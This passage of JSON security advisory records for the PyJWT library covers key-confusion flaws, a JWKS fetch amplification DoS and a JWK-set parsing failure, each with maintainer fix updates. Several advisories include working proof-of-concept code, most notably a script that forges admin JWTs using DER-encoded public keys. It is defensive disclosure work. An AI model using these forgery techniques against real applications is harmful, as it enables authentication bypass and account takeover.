version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:15:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj","https://nvd.nist.gov/vuln/detail/CVE-2026-102267","https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-9v7f-9g4p-ffgj"],"source_kind":"github","identifiers":["GHSA-9v7f-9g4p-ffgj","CVE-2026-102267"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.232Z","epss_percentage":0.00159,"epss_percentile":0.05302,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djdmLTlnNHAtZmZnas4AB7FB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05djdmLTlnNHAtZmZnas4AB7FB","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05djdmLTlnNHAtZmZnas4AB7FB/related_packages","related_advisories":[{"uuid":"CVE-2026-102267","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102267.json"},{"uuid":"DEBIAN-CVE-2026-102267","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102267"},{"uuid":"UBUNTU-CVE-2026-102267","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-2"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"}]},{"uuid":"GSA_kwCzR0hTQS1wNGc0LXg4MnAtcTc3M84AB7FA","url":"https://github.com/advisories/GHSA-p4g4-x82p-q773","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {'user': 'admin', 'role': 'admin'}\nDER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:14:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773","https://nvd.nist.gov/vuln/detail/CVE-2026-102271","https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-p4g4-x82p-q773"],"source_kind":"github","identifiers":["GHSA-p4g4-x82p-q773","CVE-2026-102271"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.233Z","epss_percentage":0.00215,"epss_percentile":0.1262,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGc0LXg4MnAtcTc3M84AB7FA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNGc0LXg4MnAtcTc3M84AB7FA","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.14.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGc0LXg4MnAtcTc3M84AB7FA/related_packages","related_advisories":[{"uuid":"CVE-2026-102271","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102271.json"},{"uuid":"DEBIAN-CVE-2026-102271","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102271"},{"uuid":"UBUNTU-CVE-2026-102271","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-2"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"}]},{"uuid":"GSA_kwCzR0hTQS1yNng0LTkyM3EtZzk0N84AB7E_","url":"https://github.com/advisories/GHSA-r6x4-923q-g947","title":"PyJWT BOM Bypass","description":"## Affected Package\n\n- **Package**: PyJWT (`pyjwt` on PyPI)\n- **Repository**: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt\u0026source=gmail\u0026ust=1781794518474000\u0026sa=E\n- **Affected version**: 2.13.0\n- **Vulnerability class**: Algorithm confusion / patch bypass\n\n---\n\n## Root Cause\n\nPyJWT 2.13.0 introduced a guard in `HMACAlgorithm.prepare_key()` (file `jwt/algorithms.py`, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.\n\nThe guard uses `bytes.lstrip()` before calling `startswith(b\"{\")`:\n\n```python\nstripped = key_bytes.lstrip() # strips ASCII whitespace only\nif stripped.startswith(b\"{\"): # JWK detection\n ...\n raise InvalidKeyError(\"The specified key is an asymmetric key...\")\n```\n\n`bytes.lstrip()` with no argument removes only bytes in the ASCII whitespace set (`\\x20 \\t \\n \\r \\x0b \\x0c`). A UTF-8 BOM prefix (`\\xef\\xbb\\xbf`) is not stripped, so `stripped.startswith(b\"{\")` returns `False` for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.\n\n---\n\n## PoC Sketch (pseudocode — not a weaponized payload)\n\n```python\n# 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)\n# and prepends a UTF-8 BOM byte sequence before the JSON opening brace.\n# 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.\n# 3. Attacker submits the forged token to a verifier that:\n# - accepts algorithms=[\"HS256\", \"RS256\"]\n# - holds the same RSA public key as raw bytes (BOM-prefixed key file)\n# 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK\n# detection check to be skipped — the RSA JWK bytes become a valid HMAC key.\n# Result: arbitrary claims (role, sub, etc.) accepted by the verifier.\n```\n\n---\n\n## Impact\n\nAn unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (`algorithms=[\"HS256\", \"RS256\"]` or equivalent). The resulting impact\nis complete authentication and authorization bypass (`C:H/I:H`). Attack Complexity is High (`AC:H`) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (`PR:N`). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.\n\n---\n\n## Suggested Fix\n\n**Option A (minimal)**: Replace `lstrip()` with an explicit strip of known\nBOM prefixes before the JSON detection check:\n\n```python\n# Strip common BOM prefixes in addition to ASCII whitespace\nBOM_PREFIXES = (b\"\\xef\\xbb\\xbf\", b\"\\xff\\xfe\", b\"\\xfe\\xff\")\nstripped = key_bytes\nfor bom in BOM_PREFIXES:\n if stripped.startswith(bom):\n stripped = stripped[len(bom):]\n break\nstripped = stripped.lstrip()\n```\n\n**Option B (more robust)**: Use `json.loads()` as the detection mechanism\ninstead of a byte-prefix check, so encoding variants and whitespace are\nhandled by the JSON parser:\n\n```python\ntry:\n test_obj = json.loads(key_bytes.strip())\n if isinstance(test_obj, dict) and \"kty\" in test_obj:\n raise InvalidKeyError(\"The specified key is an asymmetric key...\")\nexcept (ValueError, UnicodeDecodeError):\n pass\n```\n\nOption B is preferred because it is resilient to any future encoding variant.\n\n---\n\n## Maintainer update — 2026-09-09\n\nWe reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound `PyJWK` controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.\n\nThe fix is committed as `180783930de91876bc0d601f826a1f2956057291`. `HMACAlgorithm.prepare_key()` now checks parsed JSON objects for `kty` across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.\n\nThe full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit `180783930de91876bc0d601f826a1f2956057291`. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.\n\nThe fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.\n\n## Classification update — 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:14:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947","https://nvd.nist.gov/vuln/detail/CVE-2026-102272","https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-r6x4-923q-g947"],"source_kind":"github","identifiers":["GHSA-r6x4-923q-g947","CVE-2026-102272"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.234Z","epss_percentage":0.00182,"epss_percentile":0.08137,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNng0LTkyM3EtZzk0N84AB7E_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNng0LTkyM3EtZzk0N84AB7E_","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNng0LTkyM3EtZzk0N84AB7E_/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-102272","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102272"},{"uuid":"UBUNTU-CVE-2026-102272","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-2"},{"uuid":"CVE-2026-102272","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102272.json"},{"uuid":"USN-8916-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8916-1"}]},{"uuid":"GSA_kwCzR0hTQS0yZ3gzLXJjcDQtZzg1cc4AB7E-","url":"https://github.com/advisories/GHSA-2gx3-rcp4-g85q","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {'n': 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        hits['n'] += 1\n        self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()\n        self.wfile.write(JWKS)\n    def log_message(self,*a): pass\nsrv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)\nfor i in range(8):\n    try: c.get_signing_key(f'attacker-unknown-kid-{i}')\n    except Exception: pass\nbefore = hits['n']\nfor _ in range(5):\n    try: c.get_signing_key('same-unknown')\n    except Exception: pass\nprint('distinct unknown kids: 8 -\u003e fetches:', hits['n'])\nprint('same unknown kid x5 -\u003e extra fetches:', hits['n'] - before)\n\nOutput:\n  distinct unknown kids: 8 -\u003e fetches: 9\n  same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update — 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:11:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q","https://nvd.nist.gov/vuln/detail/CVE-2026-101917","https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-2gx3-rcp4-g85q"],"source_kind":"github","identifiers":["GHSA-2gx3-rcp4-g85q","CVE-2026-101917"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-12-03T11:01:59.234Z","epss_percentage":0.00428,"epss_percentile":0.38939,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZ3gzLXJjcDQtZzg1cc4AB7E-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yZ3gzLXJjcDQtZzg1cc4AB7E-","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZ3gzLXJjcDQtZzg1cc4AB7E-/related_packages","related_advisories":[{"uuid":"CVE-2026-101917","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101917.json"},{"uuid":"UBUNTU-CVE-2026-101917","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"USN-8934-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"DEBIAN-CVE-2026-101917","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-101917"}]},{"uuid":"GSA_kwCzR0hTQS13Nmo5LWN3djItaDZ3cc4AB6_9","url":"https://github.com/advisories/GHSA-w6j9-cwv2-h6wq","title":"PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set","description":"## Summary\n\nA malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because `RSAAlgorithm.from_jwk` can raise a plain `ValueError` that isn't caught by `PyJWKSet`'s per-key error-skipping logic.\n\n## Affected component / version\n\n- Package: `PyJWT` (PyPI, ecosystem `pip`)\n- Files: `jwt/api_jwk.py` (`PyJWK.__init__`, `PyJWKSet.__init__`), `jwt/algorithms.py` (`RSAAlgorithm.from_jwk`)\n- Confirmed present in the `master` branch as of 2026-09-05 (commit `7144e4534c34810f4525dc4578a32addd8212cff`, tag `2.13.0`). Directly verified identical in tags `2.9.0`, `2.10.0`, `2.11.0`, `2.12.0`, `2.12.1`, `2.13.0` -- the vulnerable call and the `except PyJWTError` guard are unchanged across all six releases. Not verified against any release prior to `2.9.0`.\n\n## Details\n\n`PyJWKSet.__init__` (`jwt/api_jwk.py:145-152`) iterates each key in a JWK Set:\n\n```python\nfor key in keys:\n    try:\n        self.keys.append(PyJWK(key))\n    except PyJWTError as error:\n        if isinstance(error, MissingCryptographyError):\n            raise error\n        # skip unusable keys\n        continue\n```\n\n`PyJWK.__init__` (`api_jwk.py:82`) calls `self.Algorithm.from_jwk(self._jwk_data)` with no try/except of its own. For an RSA JWK, this dispatches to `RSAAlgorithm.from_jwk` (`jwt/algorithms.py:539-586`). When the JWK supplies `d`, `e`, `n` without the CRT parameters (`p`, `q`, `dp`, `dq`, `qi`), `from_jwk` calls `cryptography`'s `rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e)` (`algorithms.py:572-574`) to derive the key. If `d` is not the correct private exponent for that `n`/`e` pair, `rsa_recover_prime_factors` raises a plain `ValueError`.\n\n`ValueError` is a built-in Python exception and is not a subclass of `jwt.exceptions.PyJWTError` (`PyJWTError(Exception)` is the root of PyJWT's own exception hierarchy). It is therefore not caught by `PyJWKSet.__init__`'s `except PyJWTError`, and propagates out of the constructor, aborting the `for key in keys:` loop before any subsequent key in the list is processed.\n\n`PyJWKSet.from_dict`/`from_json` and `PyJWK.from_dict`/`from_json` are exported public API (`jwt/__init__.py`). `PyJWKClient.get_jwk_set` (`jwt/jwks_client.py:158`) feeds a fetched JWKS HTTP response directly into `PyJWKSet.from_dict` with no per-key pre-validation, so this is reachable through the documented `PyJWKClient` flow whenever the fetched JWKS contains a malformed key alongside valid ones.\n\n## Proof of concept\n\n```python\nimport jwt\n\ngood_jwk = {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003ca valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key\u003e\",\n    \"e\": \"AQAB\",\n}\n\nbad_jwk = {\n    \"kty\": \"RSA\",\n    \"n\": good_jwk[\"n\"],\n    \"e\": \"AQAB\",\n    \"d\": \"AAAAAA\",  # not the true private exponent for n/e, no CRT params present\n}\n\njwks_doc = {\"keys\": [bad_jwk, good_jwk]}\n\njwt.PyJWKSet.from_dict(jwks_doc)\n# raises: ValueError: Unable to compute factors p and q from exponent d.\n# (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)\n```\n\n## Impact\n\n`PyJWKSet.__init__` raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught `ValueError`, not one of PyJWT's documented `jwt.exceptions.*` types, so exception handling written against PyJWT's documented contract (`except jwt.exceptions.PyJWTError`) will not catch it either.\n\n## Suggested remediation\n\nWrap the key-construction call in `PyJWK.__init__` (`api_jwk.py:82`) so a `ValueError` is converted into `InvalidKeyError` (a `PyJWTError` subclass):\n\n```python\ntry:\n    self.key = self.Algorithm.from_jwk(self._jwk_data)\nexcept ValueError as e:\n    raise InvalidKeyError(f\"Unable to construct key from JWK: {e}\") from e\n```\n\nThis lets `PyJWKSet.__init__`'s existing `except PyJWTError: continue` skip the one malformed key as its own comment already states is intended.\n\n## Responsible Disclosure Timeline\n\nPer the [OWASP Vulnerability Disclosure Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) and [Google Project Zero's 2020 disclosure policy](https://projectzero.google/2020/01/policy-and-disclosure-2020-edition.html):\n\n- **Day 0** (date of submission): to be set to the actual API response's `created_at` timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.\n- **Day 90** (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.\n- A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.\n- This window may shorten instead of extend if the issue is confirmed under active exploitation.\n\n## Try It Yourself (Sandbox)\n\nReproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.\n\n- Sandbox: [jwt.py](https://play.secdim.com/game/python/challenge/jwtpy)\n- Course: [Tenant Zero: AI \u0026 SaaS Authz Failures](https://learn.secdim.com/course/tenant-zero)\n\n## Credit\n\nDiscovered and reported by SecDim Security Research: secdim.com, @secdim, security@secdim.com.\n\n## Maintainer update — 2026-09-08\n\nWe reproduced the reported behavior on PyJWT 2.13.0 with `cryptography` installed: a malformed RSA private JWK containing an invalid `d` value and no CRT parameters raised a plain `ValueError` while parsing a JWK set. Because `PyJWKSet` skips `PyJWTError` instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.\n\nThe independently verified affected range is `\u003e= 2.9.0, \u003c= 2.13.0`; earlier releases were not checked. A narrow fix has been prepared in commit `8915570` based on master commit `5fa7594`: `PyJWK` converts key-construction `ValueError` exceptions to `InvalidKeyError`, 